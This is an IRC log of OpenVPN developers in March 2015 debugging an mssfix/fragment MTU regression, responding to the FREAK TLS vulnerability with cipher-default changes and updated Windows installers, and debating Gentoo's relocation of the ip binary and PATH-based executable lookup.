hm 02:09 <@plaisthos> no 2.3.6 should behave normal 02:10 <@plaisthos> can you show me your config, maybe I can figure out what's going on 02:10 <@plaisthos> Update on the Mikrotek stuff: tls-version-max 1.0 does not help (according to my bug submitter) 02:24 <@cron2> ecrist: I'd assume "FreeBSD 10" is what broke something regarding local binds - we didn't change anything in the network/bind/connect() department in the 2.3.x series 02:25 <@cron2> but tbh, none of our buildbot tests run tests with --local... maybe I should add some 02:27 <@cron2> ecrist: could you please open a trac ticket with the exact config (without the IP addresses and keys, of course) and log file, so this is not getting lost? Your description above is a bit unclear ("when no --local is defined" - I think this should be "when --local *is* defined") 02:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:38 -!- dazo_afk is now known as dazo 07:03 -!- mattock is now known as mattock_afk 07:16 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-ezmndmmnffjqsxfn] has quit [Quit: Leaving] 09:20 -!- mattock_afk is now known as mattock 09:29 -!- mattock is now known as mattock_afk 12:59 <@cron2> lev__: what will a server do if it receives an OCC_SERVER_EXIT from a malicious client? 13:13 * lev__ scratches head 13:29 <@dazo> Doesn't the current code already tackle this by just closing that clients session? (A reconnect will trigger a full session re-neg) 13:29 <@dazo> I 13:30 <@dazo> I've used --explicit-exit-notify for UDP clients for a long time, to quicker close client sessions on the server side when they are closing the connection 13:30 <@dazo> (iirc, --explicit-exit-notify cannot be used on TCP connections, as the TCP protocol already notifies the connection closure) 13:33 <@cron2> OCC_SERVER_EXIT is a new flag :) 13:34 <@cron2> it's a multipoint-server --> client flag to tell clients "this server is going away, connect elsewhere for the time being", but before I commit anything I want to be sure that it can not be used to tell the server "go away" :) 13:34 <@dazo> I just quickly looked at the patches, but it looked like it just re-used the existing --explict-exit-notify code paths ... but it was just a quick glance at the patches 13:35 <@cron2> I asked Lev__ to use the same command line option to make it conditional, but besides that it has quite a bit new code :) 13:36 <@dazo> ahh, okay ... then I just recognised the wrong code pieces :) 13:48 -!- dazo is now known as dazo_afk 13:49 < lev__> cron2: just double checked - server will disconnect that client. Signals triggered by OCC (OCC_EXIT, OCC_SERVER_EXIT) are placed inside multi_instance context, so they have effect only on specific multi_instance. 13:52 < lev__> broadcast_server_exit can be triggered only by signal inside multi_context, occ code does not touch it - it touches instance context 14:04 <@cron2> cool 14:36 -!- mattock_afk is now known as mattock 15:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 15:02 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 17:48 <@ecrist> cron2: sure 17:49 <@ecrist> the IPv4 was my fault, but it still won't bind to an IP using --local 17:51 <@ecrist> ohhhhh 17:51 <@ecrist> here was my problem. 17:51 <@ecrist> I had specified udp6 for the protocol, so with --local, it wouldn't take an IPv4 address 17:52 <@ecrist> makes sense, but it didn't give a useful log message like : hey retard, you specify v6 protocol but gave me a v4 address 17:54 -!- Hes [lUtAwRTu@tunkki.fi] has quit [Ping timeout: 244 seconds] 20:08 <@ecrist> you guys wanted me to find a bug. ;) 20:08 <@ecrist> https://community.openvpn.net/openvpn/ticket/521 20:08 <@vpnHelper> Title: #521 (When --disable is set for a client, the server never replies to the client.) – OpenVPN Community (at community.openvpn.net) 20:13 <@vpnHelper> RSS Update - tickets: #521: When --disable is set for a client, the server never replies to the client. <https://community.openvpn.net/openvpn/ticket/521> 20:56 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:58 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Tue Mar 03 2015 00:08 -!- mattock is now known as mattock_afk 01:28 -!- mattock_afk is now known as mattock 02:27 -!- mattock is now known as mattock_afk 02:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:47 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:19 -!- mattock_afk is now known as mattock 05:27 -!- dazo_afk is now known as dazo 07:50 * plaisthos hates Mikrotik 07:50 * esde joins in on the Mikrotik bashing 08:37 * syzzer googles "Mikrotik" 09:22 -!- mattock is now known as mattock_afk 11:55 -!- mattock_afk is now known as mattock 12:24 -!- mattock is now known as mattock_afk 14:53 -!- dazo is now known as dazo_afk --- Day changed Wed Mar 04 2015 01:27 -!- mattock_afk is now known as mattock 02:18 <@syzzer> mattock: have you seen 'FREAK' already? 02:18 <@syzzer> https://www.smacktls.com/ 02:18 <@vpnHelper> Title: State Machine AttACKs against TLS (SMACK TLS) (at www.smacktls.com) 02:18 <@mattock> syzzer: no 02:19 <@mattock> looking at it now 02:20 <@syzzer> tl;dr: our windows clients are vulnerable (fix is in openssl 1.0.1k), tls-auth protects users, and a succesfull attack costs about $100 dollar per server instance 02:22 <@mattock> ok, so new windows installers then 02:22 <@syzzer> it forces a connection to temporary 512-bit ('EXPORT') RSA keys, and then has to factor that key to break the crypto 02:22 <@syzzer> this is the stuff I ripped out of -master last year ;) 02:24 <@syzzer> mattock: yes, I think so 02:24 <@mattock> in any case updating openssl is a good idea 02:29 <@syzzer> oh, this also will only work if you would already use an RSA key exchange 02:30 <@syzzer> which any newer client is not very likely to do at all, since we enforce the availability of Diffie-Hellman 02:30 <@syzzer> still good to update, but I would not rate this as an emergency/critical thing. 02:36 <@cron2> shall we do a 2.3.6 respin, or a 2.3.7 release? 2.3.7 will take a few days longer but bring in the peer-id fixes 02:42 <@syzzer> I think a few days is fine 02:44 <@syzzer> (btw, the more interesting thing they present is SKIP-TLS: "JSSE clients allow the peer to skip all messages related to key exchange and authentication.") 02:45 <@syzzer> "In other words, the JSSE implementation of TLS has been providing virtually no security guarantee (no authentication, no integrity, no confidentiality) for the past several years." 02:49 <@cron2> what is JSSE? Sounds javaish? 02:50 <@cron2> but yeah, that is really flexible software... :-) 02:59 <@mattock> ok so release early next week or so? 02:59 <@mattock> 2.3.7 03:01 * syzzer votes for 2.3.7 next week, yes. 03:08 <@cron2> ok 03:08 <@cron2> send me trac tickets that you think needs to be fixed in 2.3.7 03:32 <@mattock> sounds like we have a plan 04:12 -!- mattock is now known as mattock_afk 04:12 -!- mattock_afk is now known as mattock 05:09 -!- dazo_afk is now known as dazo 05:10 <@plaisthos> whatever that means for android 05:10 <@plaisthos> where jsse is implemented as a freaky mix of OpenSSL, BouncyCastle, Googlestuff and Harmony 05:50 -!- mattock is now known as mattock_afk 07:04 < lev__> cron2: I noticed that with latest MTU fix and fragment1300/mssfix download speed is about 1/3 slower. It does not happen without fragment/mssfix or without peer-id (no mtu adjustment) 07:09 < lev__> does fragment/mssfix implementation need any peer-id adjustment? 07:19 <@plaisthos> lev__: hm 07:20 <@plaisthos> lev__: have you check what packets sizes are sent? 07:20 <@plaisthos> not that we have an off by one/3 error and send one packet with 1297 bytes and one 3 byte packet 07:22 < lev__> plaisthos: let me check 07:28 < lev__> plaisthos: with mtu 1300 I got packets 757/741 bytes, with 1450 - 1445 bytes 07:28 -!- Hes [rXWLopED@tunkki.fi] has joined #openvpn-devel 07:34 < lev__> %s/mtu 1300/fragment 1300/g 07:47 <@cron2> unless we're close to a "this will no longer fit" boundary, there should not be much difference 07:49 <@plaisthos> lev__: that sonds like something is off 07:49 <@plaisthos> what mssfix value did you use? 07:49 <@plaisthos> default? 07:49 < Hes> default 07:50 < Hes> I'm guessing that with the peer-id changes, the server and client (both having mssfix + fragment options in sync) adjust the default a bit differently, and there's an off-by-3 there 07:50 < Hes> and mssfix does not quite do what's expected 07:51 < Hes> the fun part is that it happens with a peer-id-supporting server, with clients which do not do peer-id yet. 07:51 < lev__> with "fragment 1300 / mssfix 1200" on both ends speed is good and packet size is 1189 07:52 < Hes> manually setting mssfix "low enough" would cancel an off-by-3 nicely 07:52 <@plaisthos> the default of mssfix is 1450 07:53 <@plaisthos> If --fragment and --mssfix are used together, --mssfix will take 07:53 <@plaisthos> its default max parameter from the --fragment max option 07:53 <@plaisthos> (do not know if that is really though, the man page says so) 07:54 < Hes> I think that's so, with 'fragment 1300' + 'mssfix' without parameters it's been working great so far. 07:54 < Hes> Speed's good, and no fragmenting happening. 08:00 <@plaisthos> Hes: on which side did you use mssifx? 08:00 <@plaisthos> server or client? 08:07 < lev__> Interesting. With "fragment 1300 / mssfix 1300" on both sized everything is great, but with "fragment 1300 / mssfix" packets got fragmented 741/757 08:11 <@plaisthos> okay ... 08:11 <@plaisthos> there is something fishy here 08:11 * plaisthos has an idea 08:11 <@plaisthos> don't we adjust the mtu _after_ receiving/sending a session-id? 08:11 <@plaisthos> not mtu, the other internal variable ;) 08:12 < lev__> plaisthos: answering to question to Hes - on both sides 08:15 * lev__ is only aware of TLS session-id 08:24 <@plaisthos> lev__: or whatever the option is called your patch pushes to the client 08:24 <@plaisthos> peer-id? 08:25 * plaisthos sends a patch to document syzzer changes to the default of tls-cipher 08:26 < lev__> plaisthos: oh yeah. When we receive peer-id, we increase extra_frame and link_mtu by 3 08:29 < lev__> also we adjust extra_link by 3 when initializing instance 08:30 <@cron2> ... and if link_mtu is set in config, we reduce payload mtu (whatever it's called) by 3 08:44 < lev__> shouldn't peerid client increase mssfix value by 3? it seems to solve the problem 08:45 < lev__> .. seem to solve 08:45 <@plaisthos> lev__: increase or decrease? 08:46 < lev__> plaisthos: increase. server "fragment 1300/mssfix", client "fragment 1300/mssfix 1303" - OK 08:47 < lev__> client is peerid 08:47 <@plaisthos> hm 08:48 <@plaisthos> not sure what happens if both sides have mssfix on 08:48 <@plaisthos> if the options of mss set by the cleint is overwritten by the server 09:00 < Hes> lev__: decrease by 3, I think. Not increase. 09:00 < lev__> plaisthos: there seems to be some assymetry in mssfix handling. Putting mssfix 1303 on the server and omiting it on the client doesn't help, but putting it only on the client helps 09:01 < Hes> If we have "fragment 1300", we want UDP frames of max 1300 bytes (be there peer-id, or no peer-id). 09:02 < Hes> So, we should fragment 3 bytes earlier when peer-id is put in the packets. 09:02 < lev__> Hes: I tried with peerid client, in this case (at least) mssfix 1303 does the thing 09:02 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 09:03 < Hes> lev__: "the thing"? You might be getting a faster download, sure, but is the UDP frame max 1300 bytes? 09:03 < Hes> If peer-id makes for 3 bytes smaller payload, I suppose the right mssfix'ed MSS would be smaller, not larger. 09:04 < lev__> Hes: right I'm getting faster download 09:04 < Hes> Unless I'm getting this totally backwards. 09:04 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:04 < lev__> starting from 1304 it starts to fragment 09:05 < Hes> By the way, you're probably only testing download, like I was. We should also look at upstream 09:15 < Hes> we only put the additional 3 bytes in the upstream packets, not in the downstream packets. 09:18 < lev__> Hes: tested upload with speedtest-cli, seen fragmentation on both upload/download, mssfix 1303 on the client fixed it 09:19 <@syzzer> plaisthos: thanks for the doc patch, I totally forgot that... (I recall trying to run the c preprocessor over openvpn.8 to use a define instead of copy-paste to prevent inconsistency, but apparently I never succeeded...) 09:23 < Hes> lev__: So, mssfix sets the MSS so that "after OpenVPN has encapsulated them, the resulting UDP packet size that OpenVPN sends to its peer will not exceed 'max' bytes". 09:24 < Hes> If that works right, mssfix setting should be equal to fragment option. 09:24 < Hes> But apparently the calculation is then wrong, if you can set mssfix to fragment + 3. There's 3 bytes accounted for peer-id in the downstream packets, even though peer-id is not put in those packets. 09:24 < lev__> you mean tcp packet? 09:25 < Hes> no, UDP packet. The resulting openvpn encrypted UDP packet. 09:25 < Hes> That's a direct quote from 'mssfix' entry on the man page. 11:10 <@cron2> if we need to twiddle with other parameters when receiving peer-id, so be it :-) - I just wonder why the issues happen when talking to a non-peer-id-enabled client - in that case, all we do is "reserve more space in the buffer" but that should not affect anything else 11:24 -!- mattock_afk is now known as mattock 12:25 < lev__> cron2: doesn't happen with your MTU patch 12:29 < lev__> for non-peer-id client I mean 12:31 * cron2 is confused. So which combinations are problematic? 12:31 -!- mattock is now known as mattock_afk 12:34 < lev__> latest master, peerid client and fragment/mssfix 12:35 <@cron2> but only if --fragment is used? 12:35 < lev__> works fine without peerid or without fragment/mssfix 12:35 < lev__> cron2: yes 13:02 <@cron2> aaaaaaargh 13:02 * cron2 hates gentoo 13:03 <@cron2> their stupid "oh, let's just move /sbin/ip to /bin/ip" thing broke my openvpn server test framework (because I call /sbin/ip to set extra addresses to be pinged by clients, that fail, due to "no /sbin/ip anymore") 13:06 * dazo retired his last gentoo server just weeks ago 13:09 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 13:11 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:17 <@pekster> cron2: There's an openvpn directive to point to the ip location 13:17 <@pekster> Not for ifconfig though, but no one (worth mentioning) uses ifconfig on Linux anymore :P 13:17 <@pekster> Yea, --iproute 13:19 <@pekster> Ah, derp, didn't read the script thing. Well, symlinks might fix that in the short term :\ 14:50 -!- dazo is now known as dazo_afk 15:16 < lev__> could we delay 2.3.7 for a couple of days? I'm looking at "peer-id fragment mtu" issue and things are (slowly) moving forward 15:25 <@syzzer> lev__: looks like 2.3.7 will not be there before next week, so there's at least a few more days :) 15:27 < lev__> syzzer: good good 15:42 <@cron2> pekster: yeah, I found the issue and solved it :) - this was more a general "I was aware of the issue (given that we have an openvpn bug for it) and still fell for it" annoyance 15:43 <@cron2> lev__: if you get to understand what happens & send a fix (or just explain it :) ), that would be cool. I'm sooo busy anyway, so 2.3.7 won't happen over night 15:55 <@vpnHelper> RSS Update - tickets: #522: man page addition <https://community.openvpn.net/openvpn/ticket/522> 16:54 <@pekster> cron2: Yea, there's that long-lived bug on the gentoo tracker where they want to use execvp() in openvpn in a path that impacts a lot of crap :(. So much stupid for a ~2 minute compile downstream, and they're the ones moving this binary every couple of years 16:55 <@vpnHelper> RSS Update - tickets: #523: OpenVPN doesn't pickup changes to /etc/resolv.conf <https://community.openvpn.net/openvpn/ticket/523> 18:32 < floppym> "want to use execvp() in openvpn in a path that impacts a lot of crap"... what sort of crap? 18:33 < floppym> Don't tell me you're doing it for performance. 18:44 <@pekster> No, they're using it to be "clever" (read: horribly broken, and probaly a security risk) so it'll search the $PATH just like the shell will 18:45 <@pekster> Downstream is lazy and can't be bothered to explain to users to recompile when paths determined at compile-time change when critical things like `ip` (or `ifconfig` for legacy stuff) changes. But the proposed fix downstream uses that logic for every system call openvpn makes. "Downstream issues" really. 18:45 < floppym> pekster: I represent said downstream. ^_^ 18:46 < floppym> I propose that searching PATH is not a security risk. 18:46 <@pekster> Great. And I gave up years ago after I was met with some minor hostility about how it "only" needs to happen in the call to ip, but the code patch changes far to much and edits the search priority (ie: vector for running arbitrary code) for _all_ calls, including what user-defined scripts inherit 18:47 <@pekster> Just use @revdep-rebuild and have it rebuild if ip or ifconfig changes. Surely you're not moving those bins multiple times a year? 18:47 <@pekster> Is the 2 minute compile really this big a deal? Or, I also proposed a method (that should default to off, IMO) by which the initscript can figure out where the `ip` bin is and just pass it as the --iproute arg 18:47 < floppym> It's more a question of why the path needs to be compiled-in in the first place. 18:47 < floppym> Just seems like lazy coding for a security issue that doesn't exist. 18:48 <@pekster> Now that iproute2 is in Gentoo base, this is trivial, and I even had a patch to that effect (and several users agreed with my assesment that this was far less invasive than code changes of questionable benefit) 18:48 <@pekster> I'd be careful suggesting that every user-defined script wouldn't be potentially impacted by passing in an undefined search-list on binaries, but I also like a bit of protection and defensive codeing (for reference, the scripts I write tend to use fully-qualified paths from shell/perl, just for an extra layer of protection) 18:49 <@pekster> I just don't see what you're gaining. If finding `ip` is hard, just figure it out and pass it to --iproute2 as the initscript. Problem solved, no? 18:49 < floppym> Sure, if you happend to be using the init script. 18:50 < floppym> openvpn can be run interactively, no? 18:51 < floppym> And hardcoding paths isn't defensive coding, it's just dumb. 18:51 <@pekster> Libraries are commonly linked at compile-time, and those are well-understood not to work if you just up-and change the paths. The same logic applies here, and given how non-prohibitive this is, I'm not really sure what problem is being solved here 18:52 < floppym> So is moving /sbin/ip to /bin/ip, I'll admit. 18:52 <@pekster> Well, sure, but surely putting a note in the news (that users are reading, right? ;) would be far easier 18:52 < floppym> pekster: Library paths don't get compiled into the binary. ld.so has a search path for them that can be changed at runtime. 18:52 <@pekster> For instance, on my box now I put $HOME/bin in *front* of my path 18:53 <@pekster> This could be realy problematic if I `sudo <whatever>` and then that was passed somewhere else (and yes, I know you can configure sudo to do/not-do PATH-related things, but then you have to guess as the state of a system, which is usually bad) 18:54 <@pekster> Don't know what new ebuild EAPI features exist, but maybe there's a clever way to tell the system about the need for a rebuild when the path does change? 18:54 < floppym> No, there isn't. 18:55 < floppym> But by this point, everybody has /bin/ip, so it's a moot point. 18:55 <@pekster> Do you happen to know if there's a #define anywhere in the iproute2 code that changes when upstream (they're the ones mucking with the path, right?) changes? Or I suppose not or that would make this far easier :\ 18:56 < floppym> It's not an upstream change; it's gentoo-specific. 18:56 <@pekster> Or symlinks, just as if bash had moved (imagine the backlash there, heh) 18:57 < floppym> We basically do make install, followed by mv /sbin/ip /bin/ip. 18:57 < floppym> The reason for the move was so that ip would be in PATH for non-root users. 18:57 <@pekster> A symlink would have done that too, and probably would have been the better move, but too late now 18:57 < floppym> (our /etc/profile does not have /sbin in PATH unless UID = 0) 18:57 <@pekster> Or put /sbin and /usr/sbin in PATH (I do that anyway) 18:58 < floppym> I agree that moving it is dumb, but it's not my decision to make unfortunately. 18:59 <@pekster> Well, right. I'd either suggest a symlink in the old location (should fix it) or roll up the negative impacts of doing this 18:59 <@pekster> Or go the other way and I can start opening bugs against all other executables I can run as non-root out of */sbin :P (no, not going to do that in case you wondered) 19:00 < floppym> I would like to get rid of sbin entirely (replace with symlink). 19:05 <@pekster> At any rate, thanks for some of the background. I got really put off when I tried to offer reasons for the (IMO poor method) patch, and was basically told "there aren't security-related issues." This is at least more dialog than I got back then 19:05 <@pekster> This said, openvpn surely can't be the only place doing this (nevermind projects and scripts that "expect" it to be in the standard place) 19:06 <@pekster> fwiw, I did just review sudo since I couldn't remember it's default, and they make a security note that the PATH is passed, unmodified, from the unprivileged user's environment 19:06 < floppym> There were a few others IIRC, but they accepted patches more readily. 19:07 < floppym> I don't actually know what kind of patch was submitted to openvpn, but I can't imagine it was anything more than s/execv/execvp/ 19:07 <@pekster> I can bring it up again on one of the next IRC meetings here to solicit other opinions, although I'm not sure there's been much renewed desire to let every external call use environment searching 19:07 <@pekster> THe problem is the patch impacted _EVERY_ single external call made by the program 19:08 < floppym> Oh, so you have some shared function for it. 19:08 < floppym> Got it. 19:08 <@pekster> Right, and I pointed this out in whatever long bug I got hated out of before :\ 19:08 < floppym> Yeah, I can understand the hesitation there then. 19:08 <@pekster> (again, not really your fault, but I've been disinfranchined before.) 19:09 < floppym> That said, I wonder how many external calls openvpn really makes. 19:09 <@pekster> What I'd recommend might get accepted a bit better would be a way to do that _just_ for the codepath doing the iproute business (can we finally make that the default too? with iproute in base?) and then have an #ifdef to add that feature 19:09 <@pekster> Then Gentoo can have it, without adding in an unnecesary (and possibly questionable) feature for platforms that don't randomly move bins ;) 19:09 <@pekster> The calls include everything from routes to user-defined external scripts, auth hooks, etc, etc 19:09 <@pekster> ie: "everything not in the code" 19:10 <@pekster> So yea, we really don't want to change that without good reason 19:12 < floppym> Does using iproute2 enable some additional functionality in openvpn? If so that would help sell enabling it by default. 19:12 < floppym> Otherwise, I have to ask its maintainer to do it "because I like iproute2 better". 19:13 <@pekster> Progress from 15 years ago, and non-reliance on deprecated kernel 2.2 ioctls 19:13 < floppym> Although, I could always use the "upstream reccommends it" argument. 19:13 <@pekster> net-utils is deprecating all their crid 19:13 <@pekster> crud* (I have a ref around here somewhere) 19:14 <@pekster> https://github.com/QueuingKoala/fn-netfilter/wiki#avoid 19:14 <@vpnHelper> Title: Home · QueuingKoala/fn-netfilter Wiki · GitHub (at github.com) 19:14 <@pekster> Oh, and I haven't even added what someone from #ipv6 pointed out: net-tools is fully unable to show you v6 neighbors (at all) 19:15 < floppym> Right, I get why ip is better in general, but how does it affect openvpn specifcally? 19:16 < floppym> If it doesn't, that's ok. It would just help me to make the case. 19:17 <@pekster> I'm looking at the code paths now. Obviously ip is required to add routes to a secondary routing table or any similar advanced things that net-tools also fails at, but I'm not sure openvpn necessarily supports them (making users go write their own handlers, to for example apply all pushed routes to a specific table) 19:19 < floppym> Actually, if openvpn upstream just changed the default in configure.ac to yes, that would probably be enough of a case for it. 19:19 < floppym> At the moment, gentoo is just using "upstream's default". 19:19 <@pekster> I suggested it, and frankly I think the only thing stopping that is someone submitting a patch to check if the command is avialable 19:20 <@pekster> IIRC gentoo was one of the last mainstream distros not including iproute2 in their default install 19:20 < floppym> That should not have stopped you. ^_^ 19:20 <@pekster> I see no good reason to rely on 2.2-era kernel tools if all the big players support newer stuff 19:21 < floppym> In an age where dependencies are easily expressed by packagers, the default install should not dictate default settings for a package like openvpn. 19:24 <@pekster> Looks like it's just the enable_iproute2 test that would need to gracefully fall back (mabye with a warning) if it's missing. Maybe a default 3rd option of "prefer" in addition to yes/no 19:24 < floppym> Yeah. 19:24 <@pekster> That way at compile time it'll be used if found, otherwise an explicit choice of "yes/no" can still be made. Plus that'll work with anyone expecting the old way 19:25 < floppym> That's pretty typical for a configure option. 19:25 <@pekster> Right. "Do the right thing for most people, then let the picky ones man-handle it" 20:21 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 250 seconds] 21:14 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 21:15 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Client Quit] 21:16 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 22:11 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 22:11 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Thu Mar 05 2015 00:41 -!- mattock_afk is now known as mattock 00:50 -!- mattock is now known as mattock_afk 01:37 -!- mattock_afk is now known as mattock 03:21 <@vpnHelper> RSS Update - tickets: #524: OpenVPN with PolarSSL: segmentation fault <https://community.openvpn.net/openvpn/ticket/524> 03:27 <@plaisthos> Mar 4 23:10:46 openvpn-mgmt-03 ovpn-vpn-tcp-l3[12340]: 79.219.96.233:45424 TLS_ERROR: BIO read tls_read_plaintext error: error:1408A0C1:SSL routines:SSL3_GET_CLIENT_HELLO:no shared cipher 03:27 <@plaisthos> *sigh* 03:43 <@plaisthos> whatever cipher we forbid that was allowed before 03:49 <@cron2> I think we haven't forbidden anything recently... 03:51 <@plaisthos> apart from !EXP and !kRSA 03:54 <@cron2> wasn't that months ago? *check log* 03:55 <@cron2> ah, not exactly, early January 04:03 <@plaisthos> yeah and my last stable OpenVPN for Android version was early Decemeber ;) 04:03 <@plaisthos> !tls-auth 04:03 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key 04:03 <@vpnHelper> to make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs 04:03 <@plaisthos> err 04:03 <@plaisthos> !tls-cipher 04:03 <@vpnHelper> "tls-cipher" is http://sourceforge.net/mailarchive/forum.php?thread_name=48B01B33.6030806%40usa.net&forum_name=openvpn-users 04:04 <@plaisthos> DEFAULT:!EXP:!PSK:!SRP:!kRSA is the new default 04:06 <@plaisthos> !kRSA removes a lot of ciphers from the list ... 04:06 <@plaisthos> (try openssl ciphers 'DEFAULT:!EXP:!PSK:!SRP' vs openssl ciphers 'DEFAULT:!EXP:!PSK:!SRP:!kRSA') 04:21 <@syzzer> plaisthos: correct. But is also protects -master from FREAK ;) 04:22 <@syzzer> RSA key exchange should really not be used anymore... 04:22 <@plaisthos> syzzer: yeah, but it seems to break some configurations 04:22 <@syzzer> any idea what kind of server is rejecting the connection? 04:22 <@plaisthos> like those obscure Mikrotec routers 04:23 <@plaisthos> mikrotik 04:23 <@syzzer> that would mean those don't do Diffie-Hellman at all 04:23 <@syzzer> you could of course instruct users with crappy devices to allow crappy crypto again... 04:25 <@plaisthos> syzzer: yeah ... 04:26 <@plaisthos> Apart from 3 users with these obscure routers I also got one report from an Admin from a german Universtiy 04:26 <@plaisthos> they added tls-cipher AES128-SHA:AES256-SHA in their configuration 04:27 <@syzzer> :') 04:28 <@syzzer> and that is why I would like sane defaults, and then kill all hardening guides that advise to set tls-cipher... 04:28 <@syzzer> those things get stuck in configs forever... 04:32 <@plaisthos> yes ... 04:47 -!- dazo_afk is now known as dazo 05:07 < lev__> nice, mss+fragment issue is not related to peer-id. It happens on 2.3 before peer-id but does not happen on 2.2 05:09 < lev__> Looks like something got broken in 2.3, there link_mtu_dynamic is 1450, in 2.2 it is 1300 05:09 < lev__> however man page says that if mssfix value is not specified, it uses fragment value (which should be 1300 in my case) 05:10 < lev__> git bisect is my friend now 05:17 <@syzzer> lev__: yes, git bisect rules! 05:18 <@cron2> lev__: oh, wow, a bug we introduced years ago and nobody noticed, or so... 05:19 <@cron2> syzzer: did you see the mail from Frederik Strömberg? Can I volunteer you to answer? :) 05:44 <@plaisthos> is that on -users? 05:45 <@dazo> plaisthos: security list 05:46 <@plaisthos> dazo: ah kk 05:46 <@dazo> (it went to my spam folder, noticed syzzer reply first) 05:54 <@syzzer> cron2: yes, I've been drafting a reply this morning but got interrupted too often :/ 05:56 <@syzzer> if more people are worried, we might wat to reconsider doing a 2.3.6-I002, to put their minds at ease 06:07 <@mattock> I did I602/I002 builds earlier, so I'll just test them lightly and push them to the download page 06:08 <@syzzer> great! 06:12 <@plaisthos> doesn't a tls-cipher on server/client fix FREAK? 06:17 <@cron2> syzzer, mattock: agreed, a quick update release might be a good idea, while we figure out what's needed for 2.3.7 06:21 <@mattock> smoke testing passed 06:21 <@mattock> in case you want to test yourself here are the installers: http://build.openvpn.net/downloads/releases/ 06:21 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 06:22 <@mattock> 2.3.6-I002 and 2.3.6-I602 06:29 <@syzzer> plaisthos: yes 06:29 <@mattock> syzzer: can you propose a link for the FREAK vulnerability? 06:29 <@mattock> like a CVE or something 06:29 <@syzzer> just add !EXP on the server, or !kRSA on the client 06:29 <@mattock> I'll copy-and-paste your statement about OpenVPN+FREAK (from the email) to Trac if you don't mind 06:30 <@syzzer> https://freakattack.com/ 06:30 <@vpnHelper> Title: Tracking the FREAK Attack (at freakattack.com) 06:30 <@syzzer> mattock: fine :) 06:30 <@syzzer> or, actually, https://www.smacktls.com/ 06:30 <@vpnHelper> Title: State Machine AttACKs against TLS (SMACK TLS) (at www.smacktls.com) 06:41 <@syzzer> btw, in that case I would like to re-enable TLS version negotiation in 2.3.7 06:41 <@mattock> ok, here: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-FREAK 06:41 <@vpnHelper> Title: SecurityAnnouncement-FREAK – OpenVPN Community (at community.openvpn.net) 06:42 <@syzzer> we have --tls-version-max available now, so we can offer a way for people to fix connections that break because of crappy firewalls (like with 2.3.3) 06:42 <@syzzer> and we really need to enable it at some point 06:42 <@syzzer> mattock: I'll take a quick look 06:43 <@mattock> syzzer: feel free to fix any issues you may find 06:47 <@mattock> download page updated: http://openvpn.net/index.php/download/community-downloads.html 06:47 <@vpnHelper> Title: Community Downloads (at openvpn.net) 06:47 <@mattock> I'll make a quick announcement on the forums and send a mail to mailing lists 06:48 <@syzzer> mattock: I made a minor edit, but otherwise fine by me :) 06:48 <@mattock> great! 06:55 < lev__> https://github.com/OpenVPN/openvpn/commit/23d61c56b9fd218c39ad151b01b7e2d6690e6093 06:55 <@vpnHelper> Title: Implement dual stack client support for OpenVPN · 23d61c5 · OpenVPN/openvpn · GitHub (at github.com) 06:55 < lev__> mssfix got broken after this commit 06:55 < lev__> it is missing from releases/2.3, right ? 06:56 <@plaisthos> lev__: I broke mssfix? 06:56 <@mattock> here's the forum announcement: https://forums.openvpn.net/topic18333.html 06:56 <@mattock> sending mls 06:57 <@mattock> to 06:57 <@vpnHelper> Title: OpenVPN Support Forum New OpenVPN 2.3.6 Windows installers released : Announcements (at forums.openvpn.net) 07:00 < lev__> plaisthos: seems that after this commit mssfix value is no longer taken from "fragment" value 07:08 <@mattock> now we have some more time to figure out 2.3.7 07:11 <@mattock> edited the FREAK announcement a bit 07:15 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 07:16 < n13l> dazo, syzzer: Hi!, have you had time to look into lastest EKM patches ? 07:17 <@syzzer> n13l: not enough :( 07:17 <@syzzer> but the code looked good to me at first sight :) 07:17 < n13l> that's good :-) 07:22 < lev__> plaisthos: do you have any hints what part of that tiny patch might have affected mssfix? 07:25 <@cron2> plaisthos: the patches you've sent, are they master-only or master+2.3? 07:28 <@cron2> lev__: that patch is master only (and "post 2.3") - so if you can reproduce the problem in 2.3, it's not this patch 07:30 < lev__> cron2: no I cannot. I did git bisect and retested that commit and previous one 07:30 <@cron2> lev__: but you said 2.3 is affected, right? 07:32 < lev__> yeah, not very clear statement, it has worked in 2.2 but not in master, so I decided that it is broken in 2.3 07:33 <@cron2> lev__: don't do that :-) - 2.2 -> 2.3 has quite a bit of change, and 2.3 -> master has other changes :-) 07:34 <@cron2> and we have broken stuff 2.2 -> 2.3.x in the past, so that's not impossible to see :-) 07:45 <@cron2> but anyway, that particular patch doesn't touch mssfix or fragment, but maybe it skips initialization of things for alternatives... which could explain why it has an effect 07:49 <@plaisthos> cron2: both -master 07:49 